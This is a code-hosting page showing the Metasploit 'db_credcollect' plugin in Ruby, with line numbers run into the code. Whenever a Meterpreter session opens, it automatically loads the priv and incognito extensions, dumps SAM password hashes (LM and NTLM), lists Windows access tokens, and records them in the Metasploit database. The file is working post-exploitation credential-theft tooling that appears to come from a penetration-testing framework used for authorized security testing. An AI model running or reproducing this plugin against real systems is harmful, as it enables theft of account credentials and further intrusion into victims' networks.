Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/plugins/db_credcollect.rb
Views: 11705
# credcollect - tebo[at]attackresearch.com12module Msf3class Plugin::CredCollect < Msf::Plugin4include Msf::SessionEvent56class CredCollectCommandDispatcher7include Msf::Ui::Console::CommandDispatcher89def name10'credcollect'11end1213def commands14{15'db_hashes' => "Dumps hashes (deprecated: use 'creds -s smb')",16'db_tokens' => "Dumps tokens (deprecated: use 'notes -t smb_token')"17}18end1920def cmd_db_hashes21print_error ''22print_error "db_hashes is deprecated. Use 'creds -s smb' instead."23print_error ''24end2526def cmd_db_tokens27print_error ''28print_error "db_tokens is deprecated. Use 'notes -t smb_token' instead."29print_error ''30end3132end3334def on_session_open(session)35return if !framework.db.active3637print_status('This is CredCollect, I have the conn!')3839if (session.type == 'meterpreter')4041# Make sure we're rockin Priv and Incognito42session.core.use('priv')43session.core.use('incognito')4445# It wasn't me mom! Stinko did it!46hashes = session.priv.sam_hashes4748# Target infos for the db record49addr = session.sock.peerhost50# This ought to read from the exploit's datastore.51# Use the meterpreter script if you need to control it.52smb_port = 4455354# Record hashes to the running db instance55hashes.each do |hash|56data = {}57data[:host] = addr58data[:port] = smb_port59data[:sname] = 'smb'60data[:user] = hash.user_name61data[:pass] = hash.lanman + ':' + hash.ntlm62data[:type] = 'smb_hash'63data[:active] = true6465framework.db.report_auth_info(data)66end6768# Record user tokens69tokens = session.incognito.incognito_list_tokens(0).values70# Meh, tokens come to us as a formatted string71tokens = tokens.join.strip!.split("\n")7273tokens.each do |token|74data = {}75data[:host] = addr76data[:type] = 'smb_token'77data[:data] = token78data[:update] = :unique_data7980framework.db.report_note(data)81end82end83end8485def on_session_close(session, reason = ''); end8687def initialize(framework, opts)88super89self.framework.events.add_session_subscriber(self)90add_console_dispatcher(CredCollectCommandDispatcher)91end9293def cleanup94framework.events.remove_session_subscriber(self)95remove_console_dispatcher('credcollect')96end9798def name99'db_credcollect'100end101102def desc103'Automatically grab hashes and tokens from Meterpreter session events and store them in the database'104end105106end107end108109110